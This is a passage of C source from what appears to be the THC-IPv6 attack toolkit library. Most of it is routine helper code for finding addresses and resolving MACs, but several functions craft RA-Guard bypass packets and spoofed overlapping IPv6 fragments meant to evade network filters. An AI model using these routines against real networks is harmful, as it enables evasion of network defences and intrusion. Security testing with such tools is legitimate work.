mtu_cache_size * sizeof(*mtu_cache)); if (!mtu_cache) exit(-1); mtu_cache[mtu_cache_size - 1].intf = strdup(interface); mtu_cache[mtu_cache_size - 1].mtu = ifr.ifr_mtu; return ifr.ifr_mtu; } unsigned char *thc_get_own_mac(char *interface) { int s; struct ifreq ifr; char * mac; if (interface == NULL) interface = default_interface; if (_thc_ipv6_rawmode) return thc_ipv6_dummymac(); #if !defined(SIOCGIFHWADDR) struct ifaddrs * ifa, *ifx = NULL; struct sockaddr_dl *dl; getifaddrs(&ifa); ifx = ifa; if ((mac = malloc(6)) == NULL) { perror("malloc"); return NULL; } while (ifa != NULL) { dl = (struct sockaddr_dl *)ifa->ifa_addr; if (debug) thc_dump_data(dl->sdl_data, dl->sdl_nlen, "Interface loop"); if (dl->sdl_nlen > 0 && strncmp(interface, dl->sdl_data, dl->sdl_nlen) == 0) { memcpy(mac, LLADDR(dl), 6); break; } else { ifa = ifa->ifa_next; } } if (ifa == NULL) { freeifaddrs(ifx); return NULL; // error: could not find requested interface. } else { freeifaddrs(ifx); } #else /* SIOCGIFHWADDR */ if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return NULL; memset(&ifr, 0, sizeof(ifr)); snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface); if (ioctl(s, SIOCGIFHWADDR, (int8_t *)&ifr) < 0) { close(s); return NULL; } if ((mac = malloc(6)) == NULL) { perror("malloc"); return NULL; } memcpy(mac, &ifr.ifr_hwaddr.sa_data, 6); close(s); #endif if (debug) thc_dump_data(mac, 6, "Own MAC address"); return mac; } unsigned char *thc_get_own_ipv6(char *interface, unsigned char *dst, int prefer) { char * myipv6; FILE * f; unsigned char ipv6[36] = "", save[36] = "", tmpbuf[34], buf[1024], *tmpdst = NULL; int a, b, c, done = 0, picky = 0, orig_prefer = prefer; unsigned char tmpd, tmpb; char bla[32]; if (interface == NULL) interface = default_interface; // -- we have a prefer setup, we should honor it if (prefer != PREFER_GLOBAL && prefer != PREFER_LINK) { if (dst != NULL) { if (dst[0] == 0xff) { if (dst[1] > 2) prefer = PREFER_GLOBAL; else prefer = PREFER_LINK; } else if (dst[0] == 0xfe) prefer = PREFER_LINK; else prefer = PREFER_GLOBAL; } else prefer = PREFER_GLOBAL; // this is the default } if (dst != NULL) tmpdst = thc_ipv62string(dst); memset(save, 0, sizeof(save)); while (done < 2 && picky < 3) { if ((f = fopen("/proc/net/if_inet6", "r")) == NULL) { fprintf(stderr, "Error: /proc/net/if_inet6 does not exist, no IPv6 support on " "your Linux box!\n"); if (tmpdst != NULL) free(tmpdst); return NULL; } if (picky == 1 && dst == NULL) picky = 2; if (picky == 1) { dst = NULL; tmpdst = NULL; } if (picky == 2) { if (prefer == PREFER_GLOBAL) prefer = PREFER_LINK; else prefer = PREFER_GLOBAL; } while (done < 2 && fgets(buf, sizeof(buf), f) != NULL) { if (strncmp(interface, &buf[strlen(buf) - strlen(interface) - 1], strlen(interface)) == 0) { sscanf(buf, "%s %x %x %x %s", tmpbuf, &a, &b, &c, bla); if (c == prefer && done != 2) { ipv6[0] = c; // scope type ipv6[1] = b; // netmask memcpy(&ipv6[2], tmpbuf, 32); ipv6[34] = 0; // printf("(c scope/prefer is %d) dst %p == NULL && ( prefer %d == %d // PREFER_LINK || %c != f )\n", c, dst, prefer, PREFER_LINK, // tmpbuf[0]); if (dst == NULL && (prefer == PREFER_LINK || tmpbuf[0] != 'f')) done = 2; else done = 1; } // if a destination was given, we always prefer the local ip which is in // the same subnet of the target if (dst != NULL) { if (strncmp(tmpbuf, tmpdst, b / 4) == 0) { if (b % 4 > 0) { tmpb = tmpbuf[b / 4 + 1] >> (b % 4); tmpd = tmpdst[b / 4 + 1] >> (b % 4); if (tmpb == tmpd) { done = 2; } } else done = 2; if (done == 2) { if (debug) printf("DEBUG: Found local IPv6 address to destination\n"); ipv6[0] = c; // scope type ipv6[1] = b; // netmask memcpy(&ipv6[2], tmpbuf, 32); ipv6[34] = 0; } } } // printf("done is %d - %s - %s\n", done, tmpbuf, buf); // ensure that 2000::/3 and fc00::/7 is selected correctly if (done != 2 && dst != NULL) { if (((strncmp(tmpbuf, "fc", 2) == 0 || strncmp(tmpbuf, "fd", 2) == 0) && (strncmp(tmpdst, "fc", 2) == 0 || strncmp(tmpdst, "fd", 2) == 0)) || ((tmpdst[0] == '2' || tmpdst[0] == '3') && (tmpbuf[0] == '2' || tmpbuf[0] == '3'))) { /* printf("SAVE! %s -> %s\n", tmpbuf, tmpdst); memcpy(save + 2, tmpbuf, 32); memset(ipv6, 0, sizeof(ipv6)); */ done = 2; } // printf("here! %d => %c%c != %c%c \n", save[2], tmpbuf[0], // tmpbuf[1], tmpdst[0], tmpdst[1]); if (save[2] == 0 && (((strncmp(tmpbuf, "fc", 2) == 0 || strncmp(tmpbuf, "fd", 2) == 0) && (tmpdst[0] == '2' || tmpdst[0] == '3')) || ((strncmp(tmpdst, "fc", 2) == 0 || strncmp(tmpdst, "fd", 2) == 0) && (tmpbuf[0] == '2' || tmpbuf[0] == '3')))) { // printf("RESORT! %c -> %c\n", tmpbuf[1], tmpdst[0]); memcpy(save + 2, tmpbuf, 32); memset(ipv6, 0, sizeof(ipv6)); done = 0; } } // printf("final done is %d - %s - %s\n", done, tmpbuf, buf); } } fclose(f); picky++; // printf("x %d, %s == 0, %s > 0\n", done, ipv6 + 2, save + 2 ); if (done < 2 && strlen(&ipv6[2]) == 0 && strlen(&save[2]) > 0) { // printf("RESORT IS TAKEN => %s\n", save + 2); memcpy(ipv6, save, sizeof(ipv6)); done = 2; } } // printf("%s > 0, %s== fe80\n", save +2, ipv6 +2); if (strlen(&save[2]) > 0 && prefer == PREFER_GLOBAL && strncmp(ipv6 + 2, "fe80", 2) == 0) { // printf("z\n"); memcpy(ipv6, save, sizeof(ipv6)); done = 2; } if (strlen(&ipv6[2]) == 0) { if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: no IPv6 address on interface defined\n"); if (tmpdst != NULL) free(tmpdst); return NULL; } if (picky == 2 && orig_prefer != ipv6[0]) if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: unprefered IPv6 address had to be selected\n"); if (tmpdst != NULL) free(tmpdst); tmpdst = thc_string2notation(&ipv6[2]); myipv6 = thc_resolve6(tmpdst); free(tmpdst); if (debug) thc_dump_data(myipv6, 16, "Own IPv6 address"); return myipv6; } unsigned char *thc_get_multicast_mac(unsigned char *dst) { unsigned char *mac; if (_thc_ipv6_rawmode) return thc_ipv6_dummymac(); if (dst == NULL || (mac = malloc(6)) == NULL) return NULL; mac[0] = 0x33; mac[1] = 0x33; memcpy(&mac[2], dst + 12, 4); return mac; } void thc_get_mac_from_sniff(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { int off = 0, len = header->caplen - 14; unsigned char *ptr = (unsigned char *)data + 14; if (do_hdr_size) { ptr += (do_hdr_size - 14); len -= (do_hdr_size - 14); if ((ptr[0] & 240) != 0x60) return; } if (ptr[6] == NXT_FRAG) { if (ptr[40] == NXT_ICMP6) off = 8; else return; } else if (ptr[6] != NXT_ICMP6) return; if (ptr[40 + off] != ICMP6_NEIGHBORADV) return; if (len < 64 + off) return; if (memcmp(ptr + 48 + off, foo + 7, 16) != 0) return; foo[0] = 32; if (len >= 72 && ptr[64 + off] == 2 && ptr[65 + off] == 1) memcpy(foo + 1, ptr + 66 + off, 6); else memcpy(foo + 1, data + 6, 6); } unsigned char *thc_lookup_ipv6_mac(char *interface, unsigned char *dst) { unsigned char *mac = NULL; time_t curr; int count = 0, found = 0; char string[64] = "ip6 and dst ", resolved_mac[23] = "", *p1, *p2, *mysrc; pcap_t *p; if (thc_socket < 0) thc_socket = thc_open_ipv6(interface); if (_thc_ipv6_rawmode || do_pppoe || do_6in4 || do_hdr_vlan) return thc_ipv6_dummymac(); if (dst == NULL) return NULL; if (interface == NULL) interface = default_interface; if ((p1 = thc_get_own_ipv6(interface, dst, PREFER_LINK)) == NULL) return NULL; mysrc = p1; if ((p2 = thc_ipv62notation(p1)) == NULL) { free(p1); return NULL; } strcat(string, p2); free(p2); memcpy(resolved_mac + 7, dst, 16); if ((p = thc_pcap_init(interface, string)) == NULL) { free(mysrc); return NULL; } while (found == 0 && count < 3) { // printf("X %d %p %02x%02x %p %02x%02x\n", count, mysrc, mysrc[14], // mysrc[15], dst, dst[14], dst[15]); thc_neighborsol6(interface, mysrc, NULL, dst, NULL, NULL); curr = time(NULL); while (found == 0 && time(NULL) < curr + 2) { thc_pcap_check(p, (char *)thc_get_mac_from_sniff, resolved_mac); if (resolved_mac[0] != 0) { found = 1; if ((mac = malloc(6)) == NULL) { free(mysrc); return NULL; } memcpy(mac, resolved_mac + 1, 6); } } count++; } thc_pcap_close(p); free(mysrc); if (debug) thc_dump_data(mac, 6, "MAC address for packet target"); return mac; } /* If the following looks like shit to you: This is code submitted by Dan Kaminksy with whom I bet that he is not able to code a 1 page function which extracts the mac address from the neighbor cache on linux - which is such a complex and horrible implementation. Well you get what you ask for - a function which will break once the interface even slightly changes ... but its 1 page. */ unsigned char *thc_look_neighborcache(unsigned char *dst) { int fd, fromlen, gotsize, rcvbuf = 65535; struct sockaddr_nl nladdr; unsigned char buf[32768], *ptr, *found; // char magic[] = { 0x80, 0x00, 0x00, 0x01, 0x14, 0x00, 0x01, 0x00 }; char blob[] = {0x14, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x01, 0x03, 0xda, 0x0f, 0xb8, 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); memset(&nladdr, 0, sizeof(struct sockaddr_nl)); nladdr.nl_family = AF_NETLINK; setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)); bind(fd, (struct sockaddr *)&nladdr, sizeof(nladdr)); sendto(fd, blob, sizeof(blob), 0, (struct sockaddr *)&nladdr, sizeof(nladdr)); fromlen = sizeof(nladdr); gotsize = recvfrom(fd, buf, sizeof(buf), 0, (struct sockaddr *)&nladdr, &fromlen); shutdown(fd, SHUT_RDWR); close(fd); if (debug) thc_dump_data(buf, gotsize, "Neighbor cache lookup result"); // if ((ptr = thc_memstr(buf, magic, gotsize, sizeof(magic))) == NULL) // return NULL; if ((ptr = thc_memstr(buf, dst, gotsize /* - (ptr - buf) */, 16)) == NULL) return NULL; if ((found = malloc(7)) == NULL) return NULL; memcpy(found, ptr + 16 + 4, 6); found[6] = 0; return found; } int thc_is_dst_local(char *interface, unsigned char *dst) { int local = 0; FILE * f; unsigned char tmpbuf[34], buf[1024], *tmpdst = NULL; int a, b, c /*, found = 0, fd = -1 */; unsigned char tmpd, tmpb; char bla[32]; if (thc_socket < 0) thc_socket = thc_open_ipv6(interface); if (_thc_ipv6_rawmode || dst == NULL || do_pppoe || do_6in4 || do_hdr_vlan) return 0; if (interface == NULL) interface = default_interface; if (dst[0] == 0xff) // multicast address ? return 1; if (dst[0] == 0xfe && dst[1] == 0x80) // link local return 1; tmpdst = thc_ipv62string(dst); if ((f = fopen("/proc/net/if_inet6", "r")) == NULL) { fprintf(stderr, "Error: /proc/net/if_inet6 does not exist, no IPv6 support on your " "Linux box!\n"); exit(-1); } while (local == 0 && fgets(buf, sizeof(buf), f) != NULL) { if (strncmp(interface, &buf[strlen(buf) - strlen(interface) - 1], strlen(interface)) == 0) { sscanf(buf, "%s %x %x %x %s", tmpbuf, &a, &b, &c, bla); if (strncmp(tmpbuf, tmpdst, b / 4) == 0) { if (b % 4 > 0) { tmpb = tmpbuf[b / 4 + 1] >> (b % 4); tmpd = tmpdst[b / 4 + 1] >> (b % 4); if (tmpb == tmpd) { local = 1; } } else local = 1; } } } fclose(f); if (debug) printf("DEBUG: is dst local: %d\n", local); free(tmpdst); return local; } unsigned char *thc_get_mac(char *interface, unsigned char *src, unsigned char *dst) { int local = 0; FILE * f; unsigned char tmpbuf[34], router1[34], router2[34], defaultgw[34] = "", buf[1024], *tmpdst = NULL; int a, b, c /*, found = 0, fd = -1 */; unsigned char tmpd, tmpb; char bla[32], *ret, *p1; if (thc_socket < 0) thc_socket = thc_open_ipv6(interface); if (_thc_ipv6_rawmode || do_pppoe || do_6in4 || do_hdr_vlan) return thc_ipv6_dummymac(); if (dst == NULL) return NULL; if (interface == NULL) interface = default_interface; if (dst[0] == 0xff) // then its a multicast target return thc_get_multicast_mac(dst); tmpdst = thc_ipv62string(dst); if ((f = fopen("/proc/net/if_inet6", "r")) == NULL) { fprintf(stderr, "Error: /proc/net/if_inet6 does not exist, no IPv6 support on your " "Linux box!\n"); exit(-1); } while (local == 0 && fgets(buf, sizeof(buf), f) != NULL) { if (strncmp(interface, &buf[strlen(buf) - strlen(interface) - 1], strlen(interface)) == 0) { sscanf(buf, "%s %x %x %x %s", tmpbuf, &a, &b, &c, bla); if (strncmp(tmpbuf, tmpdst, b / 4) == 0) { if (b % 4 > 0) { tmpb = tmpbuf[b / 4 + 1] >> (b % 4); tmpd = tmpdst[b / 4 + 1] >> (b % 4); if (tmpb == tmpd) { local = 1; } } else local = 1; } } } fclose(f); if (debug) printf("DEBUG: is mac local: %d\n", local); if (!local) { if ((f = fopen("/proc/net/ipv6_route", "r")) == NULL) { fprintf(stderr, "Error: /proc/net/ipv6_route does not exist, no IPv6 support on " "your Linux box!\n"); exit(-1); } while (local == 0 && fgets(buf, sizeof(buf), f) != NULL) { if (strncmp(interface, &buf[strlen(buf) - strlen(interface) - 1], strlen(interface)) == 0) { sscanf(buf, "%s %x %s %x %s %s", tmpbuf, &b, router1, &a, router2, bla); if (b > 0) { if (strncmp(tmpbuf, tmpdst, b / 4) == 0) { if (b % 4 > 0) { tmpb = tmpbuf[b / 4 + 1] >> (b % 4); tmpd = tmpdst[b / 4 + 1] >> (b % 4); if (tmpb == tmpd) local = 1; } else local = 1; } } else strcpy(defaultgw, router2); if (local == 1) { if (debug) printf("DEBUG: router found for %s: %s\n", tmpdst, router2); strcpy(tmpdst, router2); } } } if (local == 0 && strlen(defaultgw) > 0) { if (debug) printf("DEBUG: using default router for %s: %s\n", tmpdst, defaultgw); strcpy(tmpdst, defaultgw); local = 1; } if (local == 0) { if (_thc_ipv6_showerrors) fprintf(stderr, "Error: No idea where to route the packet to %s!\n", tmpdst); fclose(f); free(tmpdst); return NULL; } fclose(f); } p1 = thc_string2ipv6(tmpdst); if ((ret = thc_look_neighborcache(p1)) != NULL) { free(p1); free(tmpdst); return ret; } ret = thc_lookup_ipv6_mac(interface, p1); free(tmpdst); free(p1); return ret; } unsigned char *thc_inverse_packet(unsigned char *pkt, int pkt_len) { unsigned char tmp[16]; int type = -1, iptr = 0, checksum; char * src = &pkt[8], *dst = &pkt[24]; if (pkt == NULL) return NULL; pkt[7] = 255; // ttl memcpy(tmp, pkt + 8, 16); // reverse IP6 src and dst memcpy(pkt + 8, pkt + 24, 16); memcpy(pkt + 24, tmp, 16); if (pkt_len > 44) { type = pkt[6]; iptr = 40; } while (type == NXT_HDR || type == NXT_ROUTE || type == NXT_FRAG || type == NXT_OPTS || type == NXT_PIM || type == NXT_ICMP6 || type == NXT_TCP || type == NXT_UDP || type == NXT_IP4 || type == NXT_IP4_RUDIMENTARY) { switch (type) { case NXT_ICMP6: if (pkt[iptr] == ICMP6_PINGREQUEST || pkt[iptr] == ICMP6_PINGREPLY) pkt[iptr] = (pkt[iptr] == ICMP6_PINGREQUEST ? ICMP6_PINGREPLY : ICMP6_PINGREQUEST); else if (pkt[iptr] == ICMP6_NEIGHBORSOL || pkt[iptr] == ICMP6_NEIGHBORADV) pkt[iptr] = (pkt[iptr] == ICMP6_NEIGHBORSOL ? ICMP6_NEIGHBORADV : ICMP6_NEIGHBORSOL); else if (pkt[iptr] == ICMP6_ROUTERSOL || pkt[iptr] == ICMP6_ROUTERADV) pkt[iptr] = (pkt[iptr] == ICMP6_ROUTERSOL ? ICMP6_ROUTERADV : ICMP6_ROUTERSOL); else if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: ICMP6 type %d can not be inversed\n", type); pkt[iptr + 2] = 0; pkt[iptr + 3] = 0; checksum = checksum_pseudo_header(src, dst, NXT_ICMP6, &pkt[iptr], pkt_len - iptr); pkt[iptr + 2] = checksum / 256; pkt[iptr + 3] = checksum % 256; type = -1; break; case NXT_MIPV6: case NXT_PIM: case NXT_UDP: case NXT_TCP: case NXT_IP4: case NXT_IP4_RUDIMENTARY: if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: inverse_packet has not implement type %d yet!\n", type); // fall through case NXT_NONXT: case NXT_DATA: case NXT_AH: case NXT_ESP: type = -1; // no processing of other headers break; case NXT_ROUTE: case NXT_FRAG: case NXT_HDR: if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: inverse_packet has not implement type %d yet!\n", type); type = pkt[iptr]; iptr += (pkt[iptr + 1] + 1) * 8; if (iptr + 4 > pkt_len) { if (_thc_ipv6_showerrors) fprintf( stderr, "Warning: packet to inverse is shorter than header tells me\n"); type = -1; } break; default: if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: Unsupported header type %d!\n", type); // XXX TODO FIXME : other packet types } } if (type != -1) if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: Unsupported header type %d!\n", type); if (debug) thc_dump_data(pkt, pkt_len, "Inversed Packet"); return pkt; } int thc_send_raguard_bypass6(char *interface, unsigned char *src, unsigned char *dst, unsigned char *srcmac, unsigned char *dstmac, unsigned char type, unsigned char *data, int data_len, int mtu) { unsigned char *pkt = NULL; int pkt_len, frag_len, mymtu = thc_get_mtu(interface); unsigned char buf[mymtu]; int count, id = time(NULL) % 2000000000, offset = 0, last_size, more_runs = 1, rest = data_len, to_copy; if (mtu >= 8 && mtu < mymtu) mymtu = mtu; memset(buf, 0, sizeof(buf)); buf[0] = NXT_ROUTE; buf[2] = 0x01; buf[4] = 0x01; buf[5] = 0x02; buf[8] = NXT_DST; buf[16] = NXT_ROUTE; buf[16 + 2] = 0x01; buf[16 + 4] = 0x01; buf[16 + 5] = 0x02; buf[24] = type; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, offset / 8, more_runs, id) < 0) return -1; if (thc_add_data6(pkt, &pkt_len, NXT_DST, buf, 32) < 0) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); offset += 32; if (data_len > 32) to_copy = 32; else { to_copy = data_len; more_runs = 0; } memcpy(buf, data, to_copy); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, offset / 8, more_runs, id) < 0) return -1; if (thc_add_data6(pkt, &pkt_len, NXT_DST, buf, to_copy) < 0) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); offset += to_copy; rest -= to_copy; while (rest > 0) { if (data_len > mymtu - 48) to_copy = mymtu - 48; else { to_copy = rest; more_runs = 0; } memcpy(buf, data, to_copy); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt, &pkt_len, offset / 8, more_runs, id) < 0) return -1; if (thc_add_data6(pkt, &pkt_len, NXT_DST, buf, to_copy) < 0) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); offset += to_copy; rest -= to_copy; } return 0; } int thc_send_as_fragment6(char *interface, unsigned char *src, unsigned char *dst, unsigned char type, unsigned char *data, int data_len, int frag_len) { unsigned char *pkt = NULL, *srcmac, *dstmac; int pkt_len, mymtu = thc_get_mtu(interface); unsigned char buf[frag_len]; int count, id = time(NULL) % 2000000000, dptr = 0, last_size, run = 0; if (frag_len > mymtu - 48) frag_len = mymtu - 48; if (frag_len % 8 > 0) frag_len = (frag_len / 8) * 8; if (frag_len < 8) frag_len = 8; if ((srcmac = thc_get_own_mac(interface)) == NULL) return -1; if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) { free(srcmac); return -1; } count = data_len / frag_len; if (data_len % frag_len > 0) { count++; last_size = data_len % frag_len; } else last_size = frag_len; if (debug) printf( "DEBUG: data to fragment has size of %d bytes, sending %d packets with " "size %d, last packet has %d bytes\n", data_len, count, frag_len, last_size); while (count) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) { free(srcmac); free(dstmac); return -1; } if (thc_add_hdr_fragment(pkt, &pkt_len, dptr / 8, count == 1 ? 0 : 1, id)) { free(srcmac); free(dstmac); return -1; } if (count > 1) memcpy(buf, data + run * frag_len, frag_len); else memcpy(buf, data + run * frag_len, last_size); dptr += frag_len; run++; if (thc_add_data6(pkt, &pkt_len, type, buf, count == 1 ? last_size : frag_len)) { free(srcmac); free(dstmac); return -1; } thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); count--; } free(srcmac); free(dstmac); return 0; } // overlap_spoof_types: // -1 = icmpv6 toobig // 0 = icmpv6 echo request // 1-65535 = tcp (dst port) // int thc_send_as_overlapping_last_fragment6( char *interface, unsigned char *src, unsigned char *dst, unsigned char type, unsigned char *data, int data_len, int frag_len, int overlap_spoof_type) { unsigned char *pkt = NULL, *srcmac, *dstmac; int pkt_len, mymtu = thc_get_mtu(interface); unsigned char buf[frag_len], *adata; int count, id = time(NULL) % 2000000000, dptr = 0, last_size, run = 0; if (overlap_spoof_type < -1 || overlap_spoof_type > 65535) { fprintf(stderr, "Error: invalid overlap_spoof_type: %d\n", overlap_spoof_type); return -1; } if (frag_len > mymtu - 56) // we need extra bytes for hdr, frag + overlap frag_len = mymtu - 56; if (frag_len % 8 > 0) frag_len = (frag_len / 8) * 8; if (frag_len < 8) frag_len = 24; if ((srcmac = thc_get_own_mac(interface)) == NULL) return -1; if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) { free(srcmac); return -1; } if ((adata = malloc(data_len + frag_len + 8)) == NULL) { fprintf(stderr, "Error: unable to allocate %d bytes of memory\n", data_len + frag_len - 8); free(srcmac); free(dstmac); return -1; } memset(adata, 0, frag_len + 8); memcpy(adata + frag_len + 8, data, data_len); data_len += frag_len + 8; // only offset + length for pk2 #2 must be changed adata[0] = NXT_DST; adata[1] = ((frag_len - 16) / 8) - 1; if (overlap_spoof_type < 1) { adata[frag_len - 16] = NXT_ICMP6; adata[frag_len - 6] = getpid() % 256; // fake chksum for icmp adata[frag_len - 5] = getpid() / 256; if (overlap_spoof_type == 0) { adata[frag_len - 8] = ICMP6_PING; adata[frag_len - 1] = 1; // seq 1 } else { adata[frag_len - 8] = ICMP6_TOOBIG; adata[frag_len - 2] = 5; // mtu 1280 } } else { adata[frag_len - 16] = NXT_TCP; adata[frag_len - 8] = 44; // scrport adata[frag_len - 7] = 44; adata[frag_len - 6] = overlap_spoof_type / 256; // dstport adata[frag_len - 5] = overlap_spoof_type % 256; adata[frag_len - 4] = 1; adata[frag_len - 3] = getpid() % 256; // fake seq num adata[frag_len - 2] = getpid() % 256; // fake seq num adata[frag_len - 1] = 2; } adata[frag_len] = type; count = data_len / frag_len; if (data_len % frag_len > 0) { count++; last_size = data_len % frag_len; } else last_size = frag_len; if (debug) printf( "DEBUG: data to fragment has size of %d bytes (incl. spoof data), " "sending %d packets with size %d, last packet has %d bytes\n", data_len, count, frag_len, last_size); while (count) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) { free(srcmac); free(dstmac); return -1; } if (thc_add_hdr_fragment(pkt, &pkt_len, dptr / 8, count == 1 ? 0 : 1, id)) { free(srcmac); free(dstmac); return -1; } if (count > 1) memcpy(buf, adata + run * frag_len, frag_len); else memcpy(buf, adata + run * frag_len, last_size); if (thc_add_data6(pkt, &pkt_len, NXT_DST, buf, count == 1 ? last_size : frag_len)) { free(srcmac); free(dstmac); return -1; } dptr += frag_len; if (run == 0) dptr -= 16; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); run++; count--; } free(adata); free(srcmac); free(dstmac); return 0; } // overlap_spoof_types: // -1 = icmpv6 toobig // 0 = icmpv6 echo request // 1-65535 = tcp (dst port) // int thc_send_as_overlapping_first_fragment6( char *interface, unsigned char *src, unsigned char *dst, unsigned char type, unsigned char *data, int data_len, int frag_len, int overlap_spoof_type) { unsigned char *pkt = NULL, *srcmac, *dstmac; int pkt_len, mymtu = thc_get_mtu(interface); unsigned char buf[frag_len], *adata; int count, id = time(NULL) % 2000000000, dptr = 0, last_size, run = 0; if (overlap_spoof_type < -1 || overlap_spoof_type > 65535) { fprintf(stderr, "Error: invalid overlap_spoof_type: %d\n", overlap_spoof_type); return -1; } if (frag_len > mymtu - 56) // we need extra bytes for hdr, frag + overlap frag_len = mymtu - 56; if (frag_len % 8 > 0) frag_len = (frag_len / 8) * 8; if (frag_len < 8) frag_len = 24; if ((srcmac = thc_get_own_mac(interface)) == NULL) return -1; if ((dstmac = thc_get_mac(interface, src, dst)) == NULL) { free(srcmac); return -1; } if ((adata = malloc(data_len + frag_len + 8)) == NULL) { fprintf(stderr, "Error: unable to allocate %d bytes of memory\n", data_len + frag_len - 8); free(srcmac); free(dstmac); return -1; } memset(adata, 0, frag_len + 8); memcpy(adata + frag_len + 8, data, data_len); data_len += frag_len + 8; // only offset + length for pk2 #2 must be changed adata[0] = NXT_DST; adata[1] = ((frag_len - 16) / 8) - 1; if (overlap_spoof_type < 1) { adata[frag_len - 16] = NXT_ICMP6; adata[frag_len - 6] = getpid() % 256; // fake chksum for icmp adata[frag_len - 5] = getpid() / 256; if (overlap_spoof_type == 0) { adata[frag_len - 8] = ICMP6_PING; adata[frag_len - 1] = 1; // seq 1 } else { adata[frag_len - 8] = ICMP6_TOOBIG; adata[frag_len - 2] = 5; // mtu 1280 } } else { adata[frag_len - 16] = NXT_TCP; adata[frag_len - 8] = 44; // scrport adata[frag_len - 7] = 44; adata[frag_len - 6] = overlap_spoof_type / 256; // dstport adata[frag_len - 5] = overlap_spoof_type % 256; adata[frag_len - 4] = 1; adata[frag_len - 3] = getpid() % 256; // fake seq num adata[frag_len - 2] = getpid() % 256; // fake seq num adata[frag_len - 1] = 2; } adata[frag_len] = type; count = data_len / frag_len; if (data_len % frag_len > 0) { count++; last_size = data_len % frag_len; } else last_size = frag_len; if (debug) printf( "DEBUG: data to fragment has size of %d bytes (incl. spoof data), " "sending %d packets with size %d, last packet has %d bytes\n", data_len, count, frag_len, last_size); while (count) { if (run > 0) { if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) { free(srcmac); free(dstmac); free(adata); return -1; } if (thc_add_hdr_fragment(pkt, &pkt_len, dptr / 8, count == 1 ? 0 : 1, id)) { free(srcmac); free(dstmac); free(adata); return -1; } if (count > 1) memcpy(buf, adata + run * frag_len, frag_len); else memcpy(buf, adata + run * frag_len, last_size); if (thc_add_data6(pkt, &pkt_len, NXT_DST, buf, count == 1 ? last_size : frag_len)) { free(srcmac); free(dstmac); free(adata); return -1; } thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); } dptr += frag_len; if (run == 0) dptr -= 16; run++; count--; } // now we send the first pkt if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) { free(srcmac); free(dstmac); free(adata); return -1; } if (thc_add_hdr_fragment(pkt, &pkt_len, 0, 1, id)) { free(srcmac); free(dstmac); free(adata); return -1; } memcpy(buf, adata, frag_len); if (thc_add_data6(pkt, &pkt_len, NXT_DST, buf, frag_len)) { free(srcmac); free(dstmac); free(adata); return -1; } thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); free(adata); free(srcmac); free(dstmac); return 0; } int thc_ping6(char *interface, unsigned char *src, unsigned char *dst, int size, int count) { //, char **packet, int *packet_len) { unsigned char *pkt = NULL; int pkt_len; unsigned char buf[size]; int ret = 0, counter = count; memset(buf, 'A', size); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, size, 0) < 0) return -1; if (count < 0) counter = 1; else counter = count; while (counter > 0) { ret += thc_generate_and_send_pkt(interface, NULL, NULL, pkt, &pkt_len); counter--; } pkt = thc_destroy_packet(pkt); return ret; } int thc_ping26(char *interface, unsigned char *srcmac, unsigned char *dstmac, unsigned char *src, unsigned char *dst, int size, int count) { //, char **packet, int *packet_len) { unsigned char *pkt = NULL; int pkt_len; unsigned char buf[size]; int ret = 0, counter = count; memset(buf, 'A', size); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, size, 0) < 0) return -1; if (count < 0) counter = 1; else counter = count; while (counter > 0) { ret += thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len); counter--; } pkt = 